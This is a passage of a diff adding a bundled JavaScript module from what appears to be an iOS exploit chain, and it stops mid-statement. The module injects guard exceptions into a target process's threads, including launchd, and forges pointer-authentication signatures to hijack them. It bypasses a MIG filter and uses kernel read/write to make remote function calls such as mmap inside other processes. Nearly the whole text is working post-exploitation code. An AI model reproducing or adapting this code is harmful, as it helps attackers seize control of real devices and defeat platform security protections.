./src/libs/TaskRop/RemoteCall.js ***! + \****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ RemoteCall) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var _Thread__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Thread */ "./src/libs/TaskRop/Thread.js"); +/* harmony import */ var _Exception__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./Exception */ "./src/libs/TaskRop/Exception.js"); +/* harmony import */ var _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); +/* harmony import */ var _PAC__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./PAC */ "./src/libs/TaskRop/PAC.js"); +/* harmony import */ var _VM__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./VM */ "./src/libs/TaskRop/VM.js"); +/* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js"); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _PortRightInserter__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./PortRightInserter */ "./src/libs/TaskRop/PortRightInserter.js"); + + +//import ExceptionThreadJS17 from '!raw-loader!./ExceptionThread17.js' +//import ExceptionThreadJS18 from '!raw-loader!./ExceptionThread18.js' + +//import Offsets from "Driver/Offsets"; + +const TAG = "REMOTECALL" +const GUARD_TYPE_MACH_PORT = 0x1n; +const kGUARD_EXC_INVALID_RIGHT = BigInt(1 << 8); +const SWITCH_OPTION_NONE = 0n; +const fakePCTrojanCreator = 0x101n; +const fakeLRTrojanCreator = 0x201n; +const fakePCTrojan = 0x301n; +const fakeLRTrojan = 0x401n; +const __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK = 0xff000000n; +const __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR = 0x2; +const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC = 0x4; +const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR = 0x8; +const SHMEM_CACHE_SIZE = 100; +const MAP_PRIVATE = 0x0002n; +const MAP_ANON = 0x1000n; + +class RemoteCall +{ + #taskAddr; + #creatingExtraThread; + #firstExceptionPort; + #secondExceptionPort; + #firstExceptionPortAddr; + #secondExceptionPortAddr; + #dummyThread; + #dummyThreadMach; + #dummyThreadAddr; + #dummyThreadTro; + #selfThreadAddr; + #selfThreadCtid; + #trojanThreadAddr; + #callThreadAddr; + #originalState; + #vmMap; + #trojanMem; + #localPort; + #remotePort; + #shmemCache = new Array(SHMEM_CACHE_SIZE); + //#exceptionThreadCFString; + #success = false; + #threadList = []; + #krwControlFd; + #krwRwFd; + #pid; + + constructor(param, migFilterBypass=null) + { + const peMark = (code, detail) => { + try { + if (typeof globalThis !== "undefined" && typeof globalThis.__pe_mark === "function") + globalThis.__pe_mark(code, detail); + } catch (_) {} + }; + // launchd (pid 1 / name): prefer fewer EXC_GUARD targets — dual inject races KRW+mig and panics this DUT. + let isLaunchd = (typeof param === "string" && param === "launchd") || + param === 1 || param === 1n || Number(param) === 1; + let needInject = isLaunchd ? 1 : 2; + + if(typeof(param) == "string") + { + console.log(TAG,`Getting task by name: ${param}`); + this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByName(param); + } + else + { + console.log(TAG,`Getting task by pid: ${param}`); + this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByPID(param); + this.#pid = param; + } + + if(!this.#taskAddr) + { + console.log(TAG,`Cannot get taskAddr, returning`); + try { globalThis.__peRemoteFail = 0x491; } catch (_) {} + return null; + } + peMark(0x34n); + + let firstExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort(); + let secondExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort(); + + if (!firstExceptionPort || !secondExceptionPort) + { + console.log(TAG,`Couldn't create exception ports`); + try { globalThis.__peRemoteFail = 0x492; } catch (_) {} + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, firstExceptionPort, 0n, 0n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, secondExceptionPort, 0n, 0n); + return null; + } + // Make sure the task won't crash after we handle an exception + _Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr); + peMark(0x35n); + + let guardCode = 0n; + guardCode = this.#EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT); + guardCode = this.#EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT); + guardCode = this.#EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503n); + let firstPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(firstExceptionPort); + let secondPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(secondExceptionPort); + + let dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + let dummyFunc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("getpid"); + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null); + dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread); + let dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread)); + let dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(dummyThreadMach); + let dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(dummyThreadAddr); + let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_thread_self")); + let selfThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf); + let selfThreadCtid = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getCtid(selfThreadAddr); + + this.#creatingExtraThread = true; + this.#firstExceptionPort = firstExceptionPort; + this.#secondExceptionPort = secondExceptionPort; + this.#firstExceptionPortAddr = firstPortAddr; + this.#secondExceptionPortAddr = secondPortAddr; + this.#dummyThread = dummyThread; + this.#dummyThreadMach = dummyThreadMach; + this.#dummyThreadAddr = dummyThreadAddr; + this.#dummyThreadTro = dummyThreadTro; + this.#selfThreadAddr = selfThreadAddr; + this.#selfThreadCtid = selfThreadCtid; + let retryCount = 0; + let validThreadCount = 0; + let successThreadCount = 0; + let firstThread = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr); + let currThread = firstThread; + + this.#trojanThreadAddr = firstThread; + + peMark(0x36n); + if (migFilterBypass) + migFilterBypass.resume(); + + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + let gotFirstExc = false; + + // launchd: inject thread0 only. Dual-inject + re-arm AST reboots PID1 on sensitive DUTs. + while ( true && successThreadCount < needInject && validThreadCount < 5 && retryCount < 3) + { + let task = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread); + if (!task) + { + if (!validThreadCount) + { + console.log(TAG, `failed on getting first thread at all, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + else + break; + } + if (task == this.#taskAddr) + { + if (!this.#setExceptionPortOnThread(this.#firstExceptionPort, currThread, migFilterBypass)) + { + console.log(TAG, `Set exception port on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`); + if (!validThreadCount) + { + console.log(TAG, `failed on first thread, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + } + else + { + // Pause mig during raw KRW AST write — concurrent socket KRW with mig thread panics. + if (migFilterBypass) + migFilterBypass.pause(); + let injOk = false; + try { + injOk = !!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].injectGuardException(currThread, guardCode); + } finally { + if (migFilterBypass) + migFilterBypass.resume(); + } + if (!injOk) + { + console.log(TAG,`Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`); + if (!validThreadCount) + { + console.log(TAG, `failed on first thread, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + } + else + { + successThreadCount++; + this.#threadList.push(currThread); + console.log(TAG, `Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} OK`); + } + } + validThreadCount++; + } + else if (task && !validThreadCount) + { + console.log(TAG,`Got weird tro on first thread, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + + let next = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].next(currThread); + if (!next) + { + if (!validThreadCount) { + console.log(TAG, `Got empty next thread on first thread. Retry`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + else { + console.log(TAG, "Break because of empty next thread"); + break; + } + } + currThread = next; + } + + if (migFilterBypass) + migFilterBypass.pause(); + + console.log(TAG, `Valid threads: ${validThreadCount}`); + console.log(TAG, `Injected threads: ${successThreadCount}`); + + if (!this.#threadList.length) { + console.log(TAG, "Exception injection failed. Aborting."); + try { globalThis.__peRemoteFail = 0x493; } catch (_) {} + this.destroy(); + return null; + } + + // Yield once so PID1 can run; do NOT re-arm AST on launchd (re-inject reboots). + try { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 150000); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_switch", 0, 0, 0); + } catch (_) {} + + if (isLaunchd) { + const LAUNCHD_SLICE_MS = 3000; + const LAUNCHD_SLICES = 20; + console.log(TAG, `launchd: wait first EXC on thread0 (${LAUNCHD_SLICES}x${LAUNCHD_SLICE_MS}ms, no re-inject)`); + for (let waitTry = 0; waitTry < LAUNCHD_SLICES; waitTry++) { + try { peMark(0x37n, BigInt(waitTry + 1)); } catch (_) {} + if (_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, LAUNCHD_SLICE_MS, false)) { + gotFirstExc = true; + console.log(TAG, `launchd EXC hit slice ${waitTry + 1}`); + break; + } + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_switch", 0, 0, 0); } catch (_) {} + } + } else { + peMark(0x37n); + gotFirstExc = !!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort,excBuffer,120000,false); + } + if (!gotFirstExc) + { + console.log(TAG, `Failed to receive first exception`); + try { globalThis.__peRemoteFail = 0x494; } catch (_) {} + try { + for (let i = 0; i < this.#threadList.length; i++) + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]); + } catch (_) {} + this.destroy(); + return null; + } + peMark(0x38n); + + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + let originalStateBuff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64_SIZE); + this.#originalState = new _ThreadState__WEBPACK_IMPORTED_MODULE_7__["default"](originalStateBuff); + for(let i = 0; i < 29; i++) + { + this.#originalState.registers.set(i,exc.threadState.registers.get(i)); + } + this.#originalState.opaque_fp = exc.threadState.opaque_fp; + this.#originalState.opaque_lr = exc.threadState.opaque_lr; + this.#originalState.opaque_sp = exc.threadState.opaque_sp; + this.#originalState.opaque_pc = exc.threadState.opaque_pc; + this.#originalState.cspr = exc.threadState.cspr; + this.#originalState.opaque_flags = exc.threadState.opaque_flags; + + for(let i = 0; i < this.#threadList.length;i++) + { + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]); + } + console.log(TAG,`Finish clearing EXC_GUARD from all other threads...`); + peMark(0x39n); + // Launchd: never flush/reply stray exceptions — resumes unrelated PID1 threads and reboots. + if (!isLaunchd) { + let desiredTimeout = 1500; + while (true) + { + let flushBuf = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, flushBuf, desiredTimeout, false)) + break; + let flushed = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(flushBuf,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize))); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(flushed, flushed.threadState,false); + } + } + peMark(0x3An); + if (this.#threadList.length) + firstThread = this.#trojanThreadAddr = this.#threadList[0]; + try { + _Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr); + } catch (_) {} + let newState = exc.threadState; + newState = this.#signState(firstThread, newState, fakePCTrojanCreator, fakeLRTrojanCreator); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + peMark(0x3Bn); + + let trojanMemTemp = (exc.threadState.opaque_sp & 0x7fffffffffn) - 0x100n; + + this.#vmMap = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getMap(this.#taskAddr); + + // launchd: skip second-thread promote. setExceptionPort TRO-swap + thread_resume on PID1 reboots. + if (isLaunchd) { + this.#creatingExtraThread = false; + peMark(0x3Cn, 0x1n); + console.log(TAG, `launchd: skip extra trojan thread — stay on temp RemoteCall`); + this.#pid = this.#doRemoteCallTemp(100, "getpid"); + console.log(TAG, `Task pid: ${this.#pid}`); + peMark(0x3Dn, BigInt(this.#pid || 0)); + if (Number(this.#pid) !== 1) { + console.log(TAG, `launchd temp getpid unexpected: ${this.#pid}`); + try { globalThis.__peRemoteFail = 0x495; } catch (_) {} + this.destroy(); + return null; + } + peMark(0x3En, 0x1n); + this.#trojanMem = this.#doRemoteCallTemp(1000, "mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n); + peMark(0x3En, 0x2n); + if (!this.#trojanMem || this.#trojanMem === 0n || this.#trojanMem === -1n || this.#trojanMem === 0xffffffffffffffffn) { + console.log(TAG, `launchd temp mmap failed: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.#trojanMem)}`); + try { globalThis.__peRemoteFail = 0x496; } catch (_) {} + this.destroy(); + return null; + } + this.#doRemoteCallTemp(100, "memset", this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); + peMark(0x3En, 0x3n); + this.#success = true; + console.log(TAG, `Finished for now succesfully (launchd temp path)`); + return; + } + + let remoteCrashSigned = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, fakePCTrojan, 0n); + + let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned); + + let pthreadAddr = this.read64(BigInt(trojanMemTemp)); + + let callThreadPort = this.#doRemoteCallTemp(100, "pthread_mach_thread_np", pthreadAddr); + + if (callThreadPort == 0n) + { + console.log(TAG,`Cannot find callThreadPort`); + this.destroy(); + return null; + } + this.#callThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObjectOfTask(this.#taskAddr, BigInt(callThreadPort)); + + if (migFilterBypass) + migFilterBypass.resume(); + + if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass)) + { + console.log(TAG,`Failed to set new exception port on newly created thread, trying one more time before giving up, creating new thread`); + dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null); + dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread); + this.#dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread)); + this.#dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(this.#dummyThreadMach); + this.#dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(this.#dummyThreadAddr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep",1n); + if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass)) + { + if (migFilterBypass) + migFilterBypass.pause(); + this.destroy(); + return null; + } + } + + if (migFilterBypass) + migFilterBypass.pause(); + + console.log(TAG,`All good so far! Now we resume trojan thread...`); + + ret = this.#doRemoteCallTemp(100, "thread_resume", callThreadPort); + if (ret !== 0n) + { + console.log(TAG,`Couldn't resume newly created thread, falling back to use original one only`); + this.#creatingExtraThread = false; + } + + if (this.#creatingExtraThread) + { + console.log(TAG,`New thread created succesfully, resuming original`); + this.#restoreTrojanThread(this.#originalState); + } + console.log(TAG, `Original thread restored succesfully`); + + this.#pid = this.#doRemoteCallStable(100, "getpid"); + console.log(TAG, `Task pid: ${this.#pid}`); + + this.#trojanMem = this.#doRemoteCallStable(1000,"mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n); + + this.#doRemoteCallStable(100,"memset",this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); + + this.#success = true; + + console.log(TAG,`Finished for now succesfully`); + } + success() { + return this.#success; + } + + krwCtx() { + return { + controlFd: this.#krwControlFd, + rwFd: this.#krwRwFd + }; + } + + pid() { + return this.#pid; + } + + #testRWPrim() + { + console.log(TAG,`Testing RW prim`); + let arr = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + let arrView = new DataView(arr); + arrView.setBigUint64(0,0x41414141n,true); + let memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(memBuff,arr); + this.write(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)); + memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n; + this.read(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)); + let resBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(memBuff,libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + let resView = new DataView(resBuff); + let result = resView.getBigUint64(0,true); + console.log(TAG,`Got result from Buffer of:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(result)}`); + } + + #retryFirstThread(migFilterBypass) { + if (migFilterBypass) + migFilterBypass.pause(); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep", 1n); + if (migFilterBypass) + migFilterBypass.resume(); + return _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr); + } + + #signState(SigningThread,state,pc,lr) + { + //console.log(TAG,`state.opaque_flags:${Utils.hex(state.opaque_flags)}`); + let diver = BigInt(state.opaque_flags) & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK; + //console.log(TAG,`diver after:${Utils.hex(diver)}`); + let discPC = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("pc")); + let discLR = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("lr")); + //console.log(TAG,`discPC:${Utils.hex(discPC)}`); + //console.log(TAG,`discLR:${Utils.hex(discLR)}`); + /* C wrapper for ptrauth utils + discPC = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver),Utils.ptrauth_string_discriminator("pc")); + discLR = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver), Utils.ptrauth_string_discriminator("lr")); + console.log(TAG,`discPC after:${Utils.hex(discPC)}`); + console.log(TAG,`discLR after:${Utils.hex(discLR)}`); + */ + if (pc) + { + state.opaque_flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC); + state.opaque_pc = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, pc, discPC); + } + if (lr) + { + state.opaque_flags &= ~( + __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | + __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR); + state.opaque_lr = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, lr, discLR); + } + return state; + } + + #setExceptionPortOnThread(exceptionPort, currThread, migFilterBypass=null) + { + let success = false; + + let thread_set_exception_ports_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("thread_set_exception_ports"); + let pthread_exit_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("pthread_exit"); + + //console.log(TAG, "pc: " + Utils.hex(thread_set_exception_ports_addr)); + //console.log(TAG, "pc signed: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, Utils.ptrauth_string_discriminator("pc")))); + //console.log(TAG, "pc signed 0: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, 0))); + + //let stackMem = Native.callSymbol("malloc", 0x8000); + //let thread_set_exception_ports_addr = Native.dlsym("_exit"); + //let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE); + //let state = new ThreadState(stateBuff); + + //let kr = Native.callSymbol("thread_create_running", 0x203, Utils.ARM_THREAD_STATE64, statePtr, Utils.ARM_THREAD_STATE64_COUNT, machThreadPtr); + + let pthreadPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np", pthreadPtr, 0, thread_set_exception_ports_addr, 0); + let pthread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(pthreadPtr); + //console.log(TAG, "pthread: " + Utils.hex(pthread)); + + let machThread = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np", pthread)); + let machThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(machThread); + //console.log(TAG, `machThread:${Utils.hex(machThread)} machThreadAddr:${Utils.hex(machThreadAddr)}`); + + if (migFilterBypass) + migFilterBypass.monitorThreads(this.#selfThreadAddr, machThreadAddr); + + let state = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getState(machThread); + if (!state) { + console.log(TAG, "Unable to read thread state"); + return false; + } + + //console.log(TAG, "thread_get_state OK"); + + state.opaque_pc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(thread_set_exception_ports_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("pc")); + state.opaque_lr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(pthread_exit_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("lr")); + //state.opaque_sp = stackMem + 0x4000n; + state.registers.set(0, this.#dummyThreadMach); + state.registers.set(1, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_GUARD | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_BAD_ACCESS); + state.registers.set(2, exceptionPort); + state.registers.set(3, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES); + state.registers.set(4, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64); + + //console.log(TAG, "pc: " + Utils.hex(state.opaque_pc)); + //console.log(TAG, "lr: " + Utils.hex(state.opaque_lr)); + //console.log(TAG, "sp: " + Utils.hex(state.opaque_sp)); + //console.log(TAG, "x0: " + Utils.hex(state.registers.get(0))); + //console.log(TAG, "x1: " + Utils.hex(state.registers.get(1))); + //console.log(TAG, "x2: " + Utils.hex(state.registers.get(2))); + //console.log(TAG, "x3: " + Utils.hex(state.registers.get(3))); + //console.log(TAG, "x4: " + Utils.hex(state.registers.get(4))); + + if (migFilterBypass) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); + + if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setState(machThread, machThreadAddr, state)) + return false; + + //console.log(TAG, "Thread.setState() OK"); + + if (migFilterBypass) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); + + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, this.#selfThreadCtid); + + if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].resume(machThread)) + return false; + + //console.log(TAG, "Thread resume OK"); + + /* + let threadmem = Native.callSymbol("malloc",0x400); + Native.write64(threadmem + 0x100n, this.#dummyThreadMach); + Native.write64(threadmem + 0x108n, exceptionPort); + Native.callSymbol("usleep",100n); + Chain.threadSpawn(this.#exceptionThreadCFString, threadmem); + let timeout = 10000n; + if(largeTimeout) + timeout = 30000n; + Native.callSymbol("usleep",timeout); + let machThread = Native.read64(threadmem + 0x100n); + Native.callSymbol("free",threadmem); + let machThreadAddr = 0n; + if(machThread == this.#dummyThreadMach) + { + console.log(TAG,`remote thread didn't succeed, aborting`); + Thread.setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP + Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + // This will wake up setter + Native.callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, ExceptionPort , Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES, BigInt(Utils.ARM_THREAD_STATE64)); + Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + return false; + } + else + machThreadAddr = Task.getPortKObject(machThread); + */ + + //Native.callSymbol("usleep",100n); + //kr = Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + //console.log(TAG, "thread_switch: " + kr); + //if (!machThreadAddr) + //{ + // console.log(TAG,`Unable to get machThreadAddr`); + //return false; + //} + //console.log(TAG, "Successfully switched to new mach thread"); + + //Native.callSymbol("sleep", 2); + //Native.callSymbol("usleep", 100000); + + //Native.callSymbol("sleep", 1); + + for (let i=0; i<10; i++) { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 200000); + + let kstack = 